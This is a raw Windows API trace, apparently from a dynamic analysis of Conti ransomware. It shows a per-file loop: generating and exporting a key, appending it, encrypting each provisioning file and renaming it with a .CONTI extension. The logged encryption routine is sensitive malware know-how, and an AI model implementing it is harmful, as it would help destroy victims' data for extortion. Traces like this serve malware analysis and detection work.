	[0114.671] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d6bdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d6bdc*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.673] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.673] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x732, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x732, lpOverlapped=0x0) returned 1
	[0114.673] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x732, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x740) returned 1
	[0114.673] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.673] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x740, lpOverlapped=0x0) returned 1
	[0114.673] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.673] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d6bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d6bd0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.673] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.673] CloseHandle (hObject=0x3dc) returned 1
	[0114.674] GetProcessHeap () returned 0x1720000
	[0114.674] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.674] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"
	[0114.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.CONTI"
	[0114.674] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.conti")) returned 1
	[0114.674] GetProcessHeap () returned 0x1720000
	[0114.674] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.674] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0114.674] GetProcessHeap () returned 0x1720000
	[0114.674] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65110e0 | out: hHeap=0x1720000) returned 1
	[0114.674] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.674] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d62b8 | out: phKey=0x65d62b8*=0x6b7f178) returned 1
	[0114.675] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d62bc, pdwDataLen=0x3cffb14 | out: pbData=0x65d62bc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.675] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml")) returned 0x20
	[0114.675] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.676] GetLastError () returned 0x0
	[0114.676] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=271) returned 1
	[0114.676] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0114.676] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.676] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.677] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.677] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.677] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d62bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d62bc*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.678] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.679] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x10f, lpOverlapped=0x0) returned 1
	[0114.679] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x110) returned 1
	[0114.679] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.679] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x110, lpOverlapped=0x0) returned 1
	[0114.679] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.679] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d62b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d62b0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.679] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.679] CloseHandle (hObject=0x3dc) returned 1
	[0114.679] GetProcessHeap () returned 0x1720000
	[0114.679] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.679] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml"
	[0114.679] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.CONTI"
	[0114.679] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.conti")) returned 1
	[0114.680] GetProcessHeap () returned 0x1720000
	[0114.680] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.680] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0114.680] GetProcessHeap () returned 0x1720000
	[0114.680] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cef8 | out: hHeap=0x1720000) returned 1
	[0114.680] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.680] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d49a0 | out: phKey=0x65d49a0*=0x6b7f538) returned 1
	[0114.680] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d49a4, pdwDataLen=0x3cffb14 | out: pbData=0x65d49a4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.681] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0114.681] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.681] GetLastError () returned 0x0
	[0114.681] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1046) returned 1
	[0114.681] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x416
	[0114.681] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.681] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.682] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.682] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.682] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d49a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d49a4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.683] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.684] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x416, lpOverlapped=0x0) returned 1
	[0114.684] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x416, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x420) returned 1
	[0114.684] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.684] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x420, lpOverlapped=0x0) returned 1
	[0114.684] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.684] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d4998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d4998*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.684] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.684] CloseHandle (hObject=0x3dc) returned 1
	[0114.684] GetProcessHeap () returned 0x1720000
	[0114.684] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.684] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0114.684] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0114.684] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0114.685] GetProcessHeap () returned 0x1720000
	[0114.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.685] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0114.685] GetProcessHeap () returned 0x1720000
	[0114.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17dfcd8 | out: hHeap=0x1720000) returned 1
	[0114.685] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.685] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d3088 | out: phKey=0x65d3088*=0x6b7f2b8) returned 1
	[0114.685] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d308c, pdwDataLen=0x3cffb14 | out: pbData=0x65d308c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.686] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml")) returned 0x20
	[0114.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.687] GetLastError () returned 0x0
	[0114.687] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=460) returned 1
	[0114.687] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0114.687] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.687] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.688] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.688] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.688] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d308c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d308c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.689] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.689] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1cc, lpOverlapped=0x0) returned 1
	[0114.689] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1cc, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1d0) returned 1
	[0114.689] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.689] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.689] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.689] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d3080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d3080*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.690] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.690] CloseHandle (hObject=0x3dc) returned 1
	[0114.690] GetProcessHeap () returned 0x1720000
	[0114.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.690] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml"
	[0114.690] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.CONTI"
	[0114.690] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.conti")) returned 1
	[0114.690] GetProcessHeap () returned 0x1720000
	[0114.690] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.690] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.690] GetProcessHeap () returned 0x1720000
	[0114.690] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511720 | out: hHeap=0x1720000) returned 1
	[0114.690] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.691] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d4be8 | out: phKey=0x65d4be8*=0x6b7f178) returned 1
	[0114.691] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4bec, pdwDataLen=0x3cffb14 | out: pbData=0x65d4bec*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.691] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml")) returned 0x20
	[0114.691] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.692] GetLastError () returned 0x0
	[0114.692] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=2216) returned 1
	[0114.692] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8a8
	[0114.692] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.692] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.692] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.692] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.692] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d4bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d4bec*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.694] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
